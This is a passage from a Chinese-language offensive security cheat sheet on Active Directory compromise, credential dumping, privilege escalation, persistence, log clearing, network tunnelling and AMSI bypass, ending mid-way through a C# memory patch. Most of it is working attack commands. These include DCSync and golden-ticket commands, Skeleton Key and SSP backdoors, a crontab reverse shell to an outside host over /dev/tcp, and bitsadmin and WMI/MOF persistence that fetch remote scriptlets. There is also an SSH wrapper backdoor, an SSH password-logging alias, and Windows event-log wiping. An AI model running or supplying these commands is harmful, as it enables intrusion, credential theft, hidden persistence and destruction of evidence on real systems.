lsadump::dcsync /domain:htb.local /user:krbtgt # Administrators, Domain Admins, Enterprise Admins  组下的账户都行

7.打印机 SpoolService 漏洞利用

rpcdump.py <domain>/<user>:<password>@<domain_server> | grep MS-RPRN
printerbug.py '<domain>/<username>:<password>'@<Printer IP> <RESPONDERIP>

8.AD域ACL攻击(aclpwn.py)

GenericAll on User
GenericAll on Group
GenericAll / GenericWrite / Write on Computer
WriteProperty on Group
Self (Self-Membership) on Group
WriteProperty (Self-Membership)
ForceChangePassword
WriteOwner on Group
GenericWrite on User
WriteDACL + WriteOwner

9.获取LAPS管理员密码

Get-LAPSPasswords -DomainController <ip_dc> -Credential <domain>\<login> | Format-Table -AutoSize

foreach ($objResult in $colResults){$objComputer = $objResult.Properties; $objComputer.name|where {$objcomputer.name -ne $env:computername}|%{foreach-object {Get-AdmPwdPassword -ComputerName $_}}}

10.privexchange漏洞

python privexchange.py -ah <attacker_host_or_ip> <exchange_host> -u <user> -d <domain> -p <password>

ntlmrelayx.py -t ldap://<dc_fqdn>--escalate-user <user>

Exchange的利用

11.IPC

net use \\ip\ipc$ "password" /user:"administrator"
net use \\ip\c$ "password" /user:"administrator"

12.其他横移

1.向WSUS服务器数据库注入恶意程序更新		WSUSpendu.ps1 # 需要先拿下 WSUS 更新分发服务器

2.MSSQL Trusted Links			use exploit/windows/mssql/mssql_linkcrawler

3.GPO Delegation

4.ADCS

10.权限维持

拿到域控权限

dump ntds.dit 文件

crackmapexec smb 127.0.0.1 -u <user> -p <password> -d <domain> --ntds

secretsdump.py '<domain>/<user>:<pass>'@<ip>

ntdsutil "ac i ntds" "ifm" "create full c:\temp" q q

secretsdump.py  -ntds ntds_file.dit -system SYSTEM_FILE -hashes lmhash:nthash LOCAL -outputfile ntlm-extract

windows/gather/credentials/domain_hashdump

后门

net group "domain admins" myuser /add /domain

Golden ticket（黄金票据）

Silver Ticket（白银票据）

DSRM 后门：
PowerShell New-ItemProperty “HKLM:\System\CurrentControlSet\Control\Lsa\” -Name “DsrmAdminLogonBehavior” -Value 2 -PropertyType DWORD

Skeleton Key：
mimikatz "privilege::debug" "misc::skeleton" "exit"

自定义 SSP DLL：
mimikatz "privilege::debug" "misc::memssp" "exit"
C:\Windows\System32\kiwissp.log

域信任关系

子域攻击父域 - SID History版跨域黄金票据

Get-NetGroup -Domain <domain> -GroupName "Enterprise Admins" -FullData|select objectsid

mimikatz lsadump::trust

kerberos::golden /user:Administrator /krbtgt:<HASH_KRBTGT> /domain:<domain> /sid:<user_sid> /sids:<RootDomainSID-519> /ptt

利用域信任密钥获取目标域的权限 - 信任票据

"lsadump::trust /patch"
"lsadump::lsa /patch"

"kerberos::golden /user:Administrator /domain:<domain> /sid:  
<domain_SID> /rc4:<trust_key> /service:krbtgt /target:<target_domain> /ticket:
<golden_ticket_path>"

攻击其它林

利用ptintbug或petipotam漏洞使其它林的DC主动连接到本林的一台无约束委派主机，同时抓取发送过来的TGT，然后即可将它用于dcsync攻击

活动目录持久性技巧

https://adsecurity.org/?p=1929 DS恢复模式密码维护 DSRM密码同步

Windows Server 2008 需要安装KB961320补丁才支持DSRM密码同步，Windows Server 2003不支持DSRM密码同步。KB961320:https://support.microsoft.com/en-us/help/961320/a-feature-is-available-for-windows-server-2008-that-lets-you-synchroni,可参考：巧用DSRM密码同步将域控权限持久化

DCshadow

Security Support Provider

简单的理解为SSP就是一个DLL，用来实现身份认证

privilege::debug
misc::memssp

这样就不需要重启c:/windows/system32可看到新生成的文件kiwissp.log

SID History

SID历史记录允许另一个帐户的访问被有效地克隆到另一个帐户

mimikatz "privilege::debug" "misc::addsid bobafett ADSAdministrator"

AdminSDHolder＆SDProp

利用AdminSDHolder＆SDProp（重新）获取域管理权限

Dcsync后门

向域成员赋予Dcsync权限

Powerview.ps1
Add-DomainObjectAcl -TargetIdentity "DC=vulntarget,DC=com" -PrincipalIdentity test1 -Rights DCSync -Verbose

在登录了test1域账户的机器上执行Dcsync利用操作

mimikatz "lsadump::dcsync /domain:vulntarget.com /all /csv"

组策略

https://adsecurity.org/?p=2716 策略对象在持久化及横向渗透中的应用

Hook PasswordChangeNotify

http://www.vuln.cn/6812

证书伪造： pyForgeCert

11.敏感文件

windows

敏感配置文件

C:\boot.ini     //查看系统版本
C:\Windows\System32\inetsrv\MetaBase.xml    //IIS配置文件
C:\Windows\repair\sam     //存储系统初次安装的密码
C:\Program Files\mysql\my.ini     //Mysql配置
C:\Program Files\mysql\data\mysql\user.MYD    //Mysql root
C:\Windows\php.ini    //php配置信息
C:\Windows\my.ini     //Mysql配置信息
C:\Windows\win.ini    //Windows系统的一个基本系统配置文件

Linux

敏感配置文件

#判断是否在docker容器内
/proc/1/cgroup

# 系统版本
cat /etc/issue

# 内核版本
cat /proc/version

# 账户密码
cat /etc/passwd
cat /etc/shadow

# 环境变量
cat /etc/profile

# 系统应用(命令)
ls -lah/sbin

# 安装应用(命令)
la -lah /usr/bin

# 开机自启
cat /etc/crontab

# history
cat ~/.bash_history
cat ~/.nano_history
cat ~/.atftp_history
cat ~/.mysql_history
cat ~/.php_history

# 网络配置
cat /etc/resolv.conf
cat /etc/networks
cat /etc/network/interfaces
cat /etc/sysconfig/network
cat /etc/host.conf
cat /etc/hosts
cat /etc/dhcpd.conf

# Service配置
cat /etc/apache2/apache2.conf
cat /etc/httpd/conf/httpd.conf
cat /etc/httpd/conf/httpd2.conf
cat /var/apache2/config.inc
cat /usr/local/etc/nginx/nginx.conf
cat /usr/local/nginx/conf/nginx.conf
cat /etc/my.cnf
cat /etc/mysql/my.cnf
cat /var/lib/mysql/mysql/user.MYD
cat /etc/mongod.conf
cat /usr/local/redis/redis.conf
cat /etc/redis/redis.conf

# ftp
cat /etc/proftpd.conf

# mail
cat /var/mail/root
cat /var/spool/mail/root
cat ~/.fetchmailrc
cat /etc/procmailrc
cat ~/.procmailrc
cat /etc/exim/exim.cf
cat /etc/postfix/main.cf
cat /etc/mail/sendmail.mc
cat /usr/share/sendmail/cf/cf/linux.smtp.mc
cat /etc/mail/sendmail.cf


# ssh
cat ~/.ssh/authorized_keys
cat ~/.ssh/identity.pub
cat ~/.ssh/identity
cat ~/.ssh/id_rsa.pub
cat ~/.ssh/id_rsa
cat ~/.ssh/id_dsa.pub
cat ~/.ssh/id_dsa
cat /etc/ssh/ssh_config
cat /etc/ssh/sshd_config
cat /etc/ssh/ssh_host_dsa_key.pub
cat /etc/ssh/ssh_host_dsa_key
cat /etc/ssh/ssh_host_rsa_key.pub
cat /etc/ssh/ssh_host_rsa_key
cat /etc/ssh/ssh_host_key.pub
cat /etc/ssh/ssh_host_key


# log
ls /var/log
cat /etc/httpd/logs/access_log
cat /etc/httpd/logs/access.log
cat /etc/httpd/logs/error_log
cat /etc/httpd/logs/error.log
cat /var/log/apache2/access_log
cat /var/log/apache2/access.log
cat /var/log/apache2/error_log
cat /var/log/apache2/error.log
cat /var/log/apache/access_log
cat /var/log/apache/access.log
cat /var/log/auth.log
cat /var/log/chttp.log
cat /var/log/cups/error_log
cat /var/log/dpkg.log
cat /var/log/faillog
cat /var/log/httpd/access_log
cat /var/log/httpd/access.log
cat /var/log/httpd/error_log
cat /var/log/httpd/error.log
cat /var/log/lastlog
cat /var/log/lighttpd/access.log
cat /var/log/lighttpd/error.log
cat /var/log/lighttpd/lighttpd.access.log
cat /var/log/lighttpd/lighttpd.error.log
cat /var/log/messages
cat /var/log/secure
cat /var/log/syslog
cat /var/log/wtmp
cat /var/log/xferlog
cat /var/log/yum.log
cat /var/run/utmp
cat /var/webmin/miniserv.log
cat /var/www/logs/access_log
cat /var/www/logs/access.log

# proc fuzz
/proc/self/fd/32
/proc/self/fd/33
/proc/self/fd/34
/proc/self/fd/35
/proc/sched_debug
/proc/mounts
/proc/net/arp
/proc/net/route
/proc/net/tcp
/proc/net/udp
/proc/net/fib_trie
/proc/version

12.权限提升

Windows

bypass UAC

常用方法

使用IFileOperation COM接口
使用Wusa.exe的extract选项
远程注入SHELLCODE 到傀儡进程
DLL劫持，劫持系统的DLL文件
eventvwr.exe and registry hijacking
sdclt.exe
SilentCleanup
wscript.exe
cmstp.exe
修改环境变量，劫持高权限.Net程序
修改注册表HKCU\Software\Classes\CLSID，劫持高权限程序
直接提权过UAC
……

常用工具

提权

windows内核漏洞提权

检测类:Windows-Exploit-Suggester,WinSystemHelper,wesng

利用类:windows-kernel-exploits，BeRoot

服务提权

数据库服务，ftp服务等

WINDOWS错误系统配置
系统服务的错误权限配置漏洞
不安全的注册表权限配置
不安全的文件/文件夹权限配置
计划任务
任意用户以NT AUTHORITY\SYSTEM权限安装msi
提权脚本

PowerUP,ElevateKit

Linux

内核溢出提权

linux-kernel-exploits

计划任务

crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root

SUID

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

寻找可利用bin：https://gtfobins.github.io/

环境变量

cd /tmp
echo “/bin/sh” > ps
chmod 777 ps
echo $PATH
export PATH=/tmp:$PATH
cd /home/raj/script
./shell
whoami

Linux环境变量提权 - 先知社区)

系统服务的错误权限配置漏洞

cat /var/apache2/config.inc
cat /var/lib/mysql/mysql/user.MYD
cat /root/anaconda-ks.cfg

不安全的文件/文件夹权限配置

cat ~/.bash_history
cat ~/.nano_history
cat ~/.atftp_history
cat ~/.mysql_history
cat ~/.php_history

找存储的明文用户名，密码

grep -i user [filename]
grep -i pass [filename]
grep -C 5 "password" [filename]
find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password" # Joomla

13.权限维持

Windows

1、密码记录工具

WinlogonHack WinlogonHack 是一款用来劫取远程3389登录密码的工具，在 WinlogonHack 之前有一个 Gina 木马主要用来截取 Windows 2000下的密码，WinlogonHack 主要用于截取 Windows XP 以及 Windows 2003 Server。键盘记录器安装键盘记录的目地不光是记录本机密码，是记录管理员一切的密码，比如说信箱，WEB 网页密码等等，这样也可以得到管理员的很多信息。 NTPass 获取管理员口令,一般用 gina 方式来,但有些机器上安装了 pcanywhere 等软件，会导致远程登录的时候出现故障，本软件可实现无障碍截取口令。 Linux 下 openssh 后门重新编译运行的sshd服务，用于记录用户的登陆密码。

2、常用的存储Payload位置

WMI : 存储：

$StaticClass = New-Object Management.ManagementClass('root\cimv2', $null,$null)
$StaticClass.Name = 'Win32_Command'
$StaticClass.Put()
$StaticClass.Properties.Add('Command' , $Payload)
$StaticClass.Put()

读取:

$Payload=([WmiClass] 'Win32_Command').Properties['Command'].Value

包含数字签名的PE文件 利用文件hash的算法缺陷，向PE文件中隐藏Payload，同时不影响该PE文件的数字签名 特殊ADS …

type putty.exe > ...:putty.exe
wmic process call create c:\test\ads\...:putty.exe

特殊COM文件

type putty.exe > \\.\C:\test\ads\COM1:putty.exe
wmic process call create \\.\C:\test\ads\COM1:putty.exe

磁盘根目录

type putty.exe >C:\:putty.exe 
wmic process call create C:\:putty.exe

3、Run/RunOnce Keys

用户级

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce

管理员

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run

4、BootExecute Key

由于smss.exe在Windows子系统加载之前启动，因此会调用配置子系统来加载当前的配置单元，具体注册表键值为：

HKLM\SYSTEM\CurrentControlSet\Control\hivelist
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Control\Session Manager

5、Userinit Key

WinLogon进程加载的login scripts,具体键值：

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon

6、Startup Keys

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders

7、Services

创建服务

sc create [ServerName] binPath= BinaryPathName

8、Browser Helper Objects

本质上是Internet Explorer启动时加载的DLL模块

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects

9、AppInit_DLLs

加载User32.dll会加载的DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs

10、文件关联

HKEY_LOCAL_MACHINE\Software\Classes
HKEY_CLASSES_ROOT

11、bitsadmin

bitsadmin /create backdoor
bitsadmin /addfile backdoor %comspec% %temp%\cmd.exe
bitsadmin.exe /SetNotifyCmdLine backdoor regsvr32.exe "/u /s /i:https://host.com/calc.sct scrobj.dll"
bitsadmin /Resume backdoor

12、mof

pragma namespace("\\\\.\\root\\subscription") 
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP1";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 1";
QueryLanguage = "WQL";
}; 
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consP1";
ScriptingEngine = "JScript";
ScriptText = "GetObject(\"script:https://host.com/test\")";
}; 
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};

管理员执行：

mofcomp test.mof

13、wmi

每隔60秒执行一次notepad.exe

wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="BotFilter82", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"

wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="BotConsumer23", ExecutablePath="C:\Windows\System32\notepad.exe",CommandLineTemplate="C:\Windows\System32\notepad.exe"

wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"BotFilter82\"", Consumer="CommandLineEventConsumer.Name=\"BotConsumer23\""

14、Userland Persistence With Scheduled Tasks

劫持计划任务UserTask，在系统启动时加载dll

function Invoke-ScheduledTaskComHandlerUserTask
{
[CmdletBinding(SupportsShouldProcess = $True, ConfirmImpact = 'Medium')]
Param (
[Parameter(Mandatory = $True)]
[ValidateNotNullOrEmpty()]
[String]
$Command,

[Switch]
$Force
)
$ScheduledTaskCommandPath = "HKCU:\Software\Classes\CLSID\{58fb76b9-ac85-4e55-ac04-427593b1d060}\InprocServer32"
if ($Force -or ((Get-ItemProperty -Path $ScheduledTaskCommandPath -Name '(default)' -ErrorAction SilentlyContinue) -eq $null)){
New-Item $ScheduledTaskCommandPath -Force |
New-ItemProperty -Name '(Default)' -Value $Command -PropertyType string -Force | Out-Null
}else{
Write-Verbose "Key already exists, consider using -Force"
exit
}

if (Test-Path $ScheduledTaskCommandPath) {
Write-Verbose "Created registry entries to hijack the UserTask"
}else{
Write-Warning "Failed to create registry key, exiting"
exit
} 
}
Invoke-ScheduledTaskComHandlerUserTask -Command "C:\test\testmsg.dll" -Verbose

15、Netsh

netsh add helper c:\test\netshtest.dll

后门触发：每次调用netsh

dll编写:https://github.com/outflanknl/NetshHelperBeacon

16、Shim

常用方式： InjectDll RedirectShortcut RedirectEXE

17、DLL劫持

通过Rattler自动枚举进程，检测是否存在可用dll劫持利用的进程使用：Procmon半自动测试更精准，常规生成的dll会导致程序执行报错或中断，使用AheadLib配合生成dll劫持利用源码不会影响程序执行

工具：https://github.com/sensepost/rattler

工具：https://github.com/Yonsm/AheadLib

dll劫持不多说

18、DoubleAgent

编写自定义Verifier provider DLL 通过Application Verifier进行安装注入到目标进程执行payload 每当目标进程启动，均会执行payload，相当于一个自启动的方式 POC : https://github.com/Cybellum/DoubleAgent

19、waitfor.exe

不支持自启动，但可远程主动激活，后台进程显示为waitfor.exe POC : https://github.com/3gstudent/Waitfor-Persistence

20、AppDomainManager

针对.Net程序，通过修改AppDomainManager能够劫持.Net程序的启动过程。如果劫持了系统常见.Net程序如powershell.exe的启动过程，向其添加payload，就能实现一种被动的后门触发机制

21、Office

劫持Office软件的特定功能:通过dll劫持,在Office软件执行特定功能时触发后门利用VSTO实现的office后门 Office加载项

Word WLL
Excel XLL
Excel VBA add-ins
PowerPoint VBA add-ins

参考1 ：https://3gstudent.github.io/Use-Office-to-maintain-persistence

参考2 ：https://3gstudent.github.io/Office-Persistence-on-x64-operating-system

22、CLR

无需管理员权限的后门，并能够劫持所有.Net程序 POC:https://github.com/3gstudent/CLR-Injection

23、msdtc

利用MSDTC服务加载dll，实现自启动，并绕过Autoruns对启动项的检测利用：向 %windir%\system32\目录添加dll并重命名为oci.dll

24、Hijack CAccPropServicesClass and MMDeviceEnumerato

利用COM组件，不需要重启系统，不需要管理员权限通过修改注册表实现 POC：https://github.com/3gstudent/COM-Object-hijacking

25、Hijack explorer.exe

COM组件劫持，不需要重启系统，不需要管理员权限通过修改注册表实现

HKCU\Software\Classes\CLSID{42aedc87-2188-41fd-b9a3-0c966feabec1}
HKCU\Software\Classes\CLSID{fbeb8a05-beee-4442-804e-409d6c4515e9}
HKCU\Software\Classes\CLSID{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}
HKCU\Software\Classes\Wow6432Node\CLSID{BCDE0395-E52F-467C-8E3D-C4579291692E}

26、Windows FAX DLL Injection

通过DLL劫持，劫持Explorer.exe对fxsst.dll的加载 Explorer.exe在启动时会加载c:\Windows\System32\fxsst.dll(服务默认开启，用于传真服务)将payload.dll保存在c:\Windows\fxsst.dll，能够实现dll劫持，劫持Explorer.exe对fxsst.dll的加载

27、特殊注册表键值

在注册表启动项创建特殊名称的注册表键值，用户正常情况下无法读取(使用Win32 API)，但系统能够执行(使用Native API)。

《渗透技巧——“隐藏”注册表的创建》

《渗透技巧——“隐藏”注册表的更多测试》

28、快捷方式后门

替换我的电脑快捷方式启动参数 POC : https://github.com/Ridter/Pentest/blob/master/powershell/MyShell/Backdoor/LNK_backdoor.ps1

29、Logon Scripts

New-ItemProperty "HKCU:\Environment\" UserInitMprLogonScript -value "c:\test\11.bat" -propertyType string | Out-Null

30、Password Filter DLL

31、利用BHO实现IE浏览器劫持

Linux

crontab

每60分钟反弹一次shell给dns.wuyun.org的53端口

#!bash
(crontab -l;printf "*/60 * * * * exec 9<> /dev/tcp/dns.wuyun.org/53;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i;\rno crontab for `whoami`%100c\n")|crontab -

硬链接sshd

#!bash
ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=2333;

链接：ssh root@192.168.206.142 -p 2333

SSH Server wrapper

#!bash
cd /usr/sbin
mv sshd ../bin
echo '#!/usr/bin/perl' >sshd
echo 'exec "/bin/sh" if (getpeername(STDIN) =~ /^..4A/);' >>sshd
echo 'exec {"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
chmod u+x sshd
//不用重启也行
/etc/init.d/sshd restart
socat STDIO TCP4:192.168.206.142:22,sourceport=13377

SSH keylogger

vim当前用户下的.bashrc文件,末尾添加

#!bash
alias ssh='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s2048 ssh'

source .bashrc

Cymothoa_进程注入backdoor

./cymothoa -p 2270 -s 1 -y 7777
nc -vv ip 7777

rootkit

openssh_rootkit
Kbeast_rootkit
Mafix + Suterusu rootkit

Tools

14.痕迹清理

Windows日志清除

获取日志分类列表：

wevtutil el >1.txt

获取单个日志类别的统计信息： eg.

wevtutil gli "windows powershell"

回显：

creationTime: 2016-11-28T06:01:37.986Z
lastAccessTime: 2016-11-28T06:01:37.986Z
lastWriteTime: 2017-08-08T08:01:20.979Z
fileSize: 1118208
attributes: 32
numberOfLogRecords: 1228
oldestRecordNumber: 1

查看指定日志的具体内容：

wevtutil qe /f:text "windows powershell"

删除单个日志类别的所有信息：

wevtutil cl "windows powershell"

破坏Windows日志记录功能

利用工具

Metasploit

run clearlogs 
clearev

3389登陆记录清除

@echo off
@reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va /f
@del "%USERPROFILE%\My Documents\Default.rdp" /a
@exit

15.内网穿透

区分正向代理与反向代理

A—-b—-C

A去请求C,B作为代理，代替A去访问C，并将返回的结果转发给A   那么B就是正向代理
B主动与A的8888端口连接，并将A:8888的访问转发到C:80上去，并将结果转发给A,则B是反向代理
反向代理优势: 当AB之间有防火墙，不允许A连B,但是允许B连A

0x01 场景与思路分析

场景一：内网防火墙对出口流量没有任何端口限制

思路 ：由于防火墙对出口流量没有任何端口限制，我们的可选择的方案非常灵活，如：反弹shell

场景二：内网防火墙仅允许内网主机访问外网的特定端口（如：80, 443）

思路：由于防火墙仅允许部分特定外网端口可以访问，思路一仍然是反弹shell只不过目标端口改成特定端口即可；思路二则是端口转发，将内网主机的某些服务的端口转发到外网攻击主机上的防火墙允许的特定端口上，再通过连接外网主机上的本地端口来访问内网服务

方法一：反弹shell可参考场景一中的方法，仅需修改目标端口为防火墙允许的特定端口即可

方法二：端口转发

方法三：SSH的动态端口转发配合proxychains来代理所有流量进一步渗透内网

1.在内网主机上执行

ssh -f -N -R 2222:127.0.0.1:22 -p 80 root@192.168.0.230
(输入外网主机的SSH口令)

2.在外网主机上执行

ssh -f -N -D 127.0.0.1:8080 -p 2222 avfisher@127.0.0.1
(输入内网主机的SSH口令)

3.在外网主机上配置proxychains设置socks4代理

$ vim /etc/proxychains.conf
[ProxyList]
socks4 127.0.0.1 8080

4.使用proxychains代理所有流量进入内网

proxychains nc -nv 10.0.2.5 3306

场景三：TCP不出网-HTTP代理

一.reGeorg

reGeorg原版：https://github.com/sensepost/reGeorg reGeorg修改版：https://github.com/L-codes/Neo-reGeorg

假设拿到的Webshell是http://aaa.com/shell.jsp，以原版reGeorg为例。

上传reGeorg中的 tunnel.jsp，假设当前URL为http://aaa.com/tunnel.jsp

在本地PC运行如下命令

python reGeorgSocksProxy.py -p 8080 -h 0.0.0.0 -u http://aaa.com/tunnel.jsp

此时，将在本地PC的8080开启一个Socks端口，使用Proxifier即可进行代理。需要注意的是，由于这个http代理隧道比较脆弱，建议根据每个目标host单独添加规则，最好不要设置成全局代理。

二.pystinger

蜂刺-stinger_client

pystinger

整体结构：

1.上传 proxy.jsp到目标Web服务器，上传stinger_server/stinger_server.exe到目标系统。

2.使用Webshell启动stinger_server

Linux:
chmod +x /tmp/stinger_server
nohup /tmp/stinger_server>/dev/null nohup.out &

Windows: start D:/XXX/stinger_server.exe

3.VPS服务端启动监听

./stinger_client -w http://aaa.com/proxy.jsp -l 0.0.0.0 -p 60000

以上操作成功后，VPS会监听60000端口，接下来直接配置好Proxifier就可以访问目标内网了。

特别注意：这个代理也不是很稳定，有时候会断开(Wrong data)。遇到断开情况后，手动kill stinger_server进程再启动，最后重启VPS服务端stinger_client即可

场景四 TCP出网-socks代理

frp

搭建步骤： 1.VPS运行服务端

./frps -c frps.ini

注：建议用Screen将frp挂起到后台，Screen挂起程序参考用screen 在后台运行程序 - 简书

frps.ini内容：

[common]
bind_port = 8080
tls_only = true
tcp_mux = true
privilege_token = token123
kcp_bind_port = 8080

2.使用VPS将frpc frpc.ini上传到主机tmp目录，然后运行

Linux:
chmod +x /tmp/frpc-x86
nohup /tmp/frpc-x86 -c /tmpfrpc.ini>/dev/null nohup.out &

Windows
frpc -c frpc.ini

注：有时候用Webshell管理工具会上传失败或上传文件不完整，可以cd到frp目录，在vps使用 python -m SimpleHTTPServer 80 启动一个webserver，然后在客户端使用 curl http://vpsip/frpc下载文件。

以上操作成功后，VPS控制台会有输出，然后VPS会启动一个10001端口，接下来直接配置好Proxifier就可以访问目标内网了。

Proxifier使用参考：Proxifier Socks5 代理（内网访问、远程办公）

ps：frp会涉及到免杀的问题，这里推荐另一个代理工具，体积更小，可以看作是rust版本的frp

fuso

0x02 Lcx

内网IP：192.168.183.168 公网IP：192.168.183.181

端口转发

内网机器上执行命令：lcx.exe –slave 公网IP 端口内网IP 端口 将内网的3389端口转发到公网的6666端口

lcx.exe -slave 192.168.183.181 6666 192.168.183.168 3389
lcx.exe -slave 192.168.183.181 6666 127.0.0.1 3389

公网机器上执行命令：lcx.exe -listen 监听端口连接端口 将在6666端口接收到的数据转发到2222端口

lcx.exe -listen 6666 2222

使用命令mstsc /v:127.0.0.1:2222即可连接到内网3389端口

端口映射

如果内网机器防火墙禁止3389出站，可以使用tran命令将3389端口映射到其他端口上内网机器上执行命令：lcx.exe -tran 映射端口连接IP 连接端口

lcx.exe -tran 66 192.168.183.168 3389

因为实验环境是内网所以直接连接66端口即可访问3389端口，公网还需要端口转发

0x03 SSH隧道

ssh参数详解：
    -C Enable compression 压缩数据传输
    -q Quiet mode. 安静模式
    -T Disable pseudo-tty allocation. 不占用 shell
    -f Requests ssh to go to background just before command execution. 后台运行，并推荐加上 -n 参数
    -N Do not execute a remote command. 不执行远程命令，端口转发就用它
    -L port:host:hostport 将本地机(客户机)的某个端口转发到远端指定机器的指定端口. 
    -R port:host:hostport 将远程主机(服务器)的某个端口转发到本地端指定机器的指定端口. 
    -D port 指定一个本地机器动态的应用程序端口转发. 
    -g port 允许远程主机连接到建立的转发的端口，如果不加这个参数，只允许本地主机建立连接

SSH本地转发

语法格式：

ssh -L [local_bind_addr:]local_port:remote:remote_port middle_host

远程管理服务器上的mysql，mysql不能直接root远程登陆。这时候就可以通过本地转发，通过ssh将服务器的3306端口转发到1234端口。

ssh -CfNg -L 2222:127.0.0.1:3306 root@139.196.xx.xx

工作原理：在本地指定一个由ssh监听的转发端口2222，将远程主机的3306端口(127.0.0.1:3306)映射到本地的2222端口，当有主机连接本地映射的2222端口时，本地ssh就将此端口的数据包转发给中间主机VPS，然后VPS再与远程主机端口(127.0.0.1:3306)通信。数据流向：Kali -> 2222 -> VPS -> 127.0.0.1:3306

SSH远程转发

语法格式：

ssh -R [bind_addr:]remote1_port:host:port remote1

假设kali开了一个80端口的web服务，外网无法访问，使用远程转发，将kali的80端口转发到外网的其他端口，这时候访问外网的端口，就访问到了内网的端口。

ssh -CfNg -R 4444:127.0.0.1:80 root@192.168.183.195

此时在192.168.183.195这台主机上访问127.0.0.1:4444端口即可访问到kali的80端口工作原理：kali在请求外网主机的sshd服务，在外网主机上建立一个套接字监听端口(4444)，它是kali的80端口的映射，当有主机连接外网的4444端口时，连接的数据全部转发给kali，再由kali去访问127.0.0.1:80。

这里要注意一点，远程端口转发是由远程主机上的sshd服务控制的，默认配置情况下，sshd服务只允许本地开启的远程转发端口(4444)绑定在环回地址(127.0.0.1)上，即使显式指定了bind_addr也无法覆盖。也就是这里访问127.0.0.1:4444端口可以访问成功，访问192.168.183.195:4444却不能访问成功。

要允许本地的远程转发端口绑定在非环回地址上，需要在外网主机的sshd配置文件中启用”GatewayPorts”项，它的默认值为no，这里将它改为yes。然后重新远程转发一下即可用外网地址访问。

SSH动态转发,正向代理做动态的端口转发

本地或远程转发端口和目标端口所代表的应用层协议是一对一的关系，不同的服务就要建立不同的端口，工作很是繁琐，而动态转发只需绑定一个本地端口，而目标端口是根据你发起的请求决定的，比如请求为445端口，通过ssh转发的请求也是445端口。

语法格式：

ssh -D [bind_addr:]port remote

这里举一个最简单的列子：翻墙。国内正常情况下上不了Google，我们可以通过将流量转发到国外的vps上这样就可以正常访问了。在本地执行以下命令，并查看建立连接情况

ssh -Nfg -D 3333 root@45.77.xx.xx

连接建立成功，设置浏览器到本地主机的3333端口

SSH动态转发，正向代理进行单一的端口转发

利用ssh -L 提供正向代理，将192.168.183.2的80端口映射到45.77.xx.xx的1111端口上

访问45.77.xx.xx:1111相当于访问192.168.183.2:80 中间需要192.168.183.1的ssh进行正向代理进行利用。

语法格式：

ssh -L 45.77.xx.xx:1111:192.168.183.2:80 root@192.168.183.1

此时我们访问45.77.xx.xx的1111端口就相当于访问内网不出网机器的192.168.183.2:80

16.Bypass AMSI

How to Bypass AMSI

管理员权限关闭amsi

Set-MpPreference -DisableRealtimeMonitoring $true

一键关闭AMSI

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPubilc,Static').SetValue($null,$true)

被加黑了，可以混淆过

powershell降级

powershell.exe -version 2   //改变powershell运行版本

内存补丁

$p=@"
using System;
using System.Linq;
using System.Runtime.InteropServices;
public class Program
{
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern IntPtr VirtualProtect(IntPtr lpAddress, UIntPtr dwSize,
uint flNewProtect, out uint lpfloldProtect);
public static void Bypass()
{
String a =
"isma";
IntPtr lib = LoadLibrary(String.Join(""
, a.Reverse().ToArray()) +
"
.dll");
IntPtr addr = GetProcAddress(lib,
"AmsiOpenSession");
uint old = 0;
byte[] p;
p = new byte[6];
p[0] = 0xB8;
p[1] = 0xFF;
p[2] = 0xFF;
p[3] = 0xFF;
p[4] = 0xFF;
p[5] = 0xC3;
VirtualProtect(addr, (UIntPtr)p.Length, 0x04, out old);
Marshal.Copy(p, 0, addr, p.Length);
VirtualProtect(addr, (UIntPtr)p.Length, old, out old);
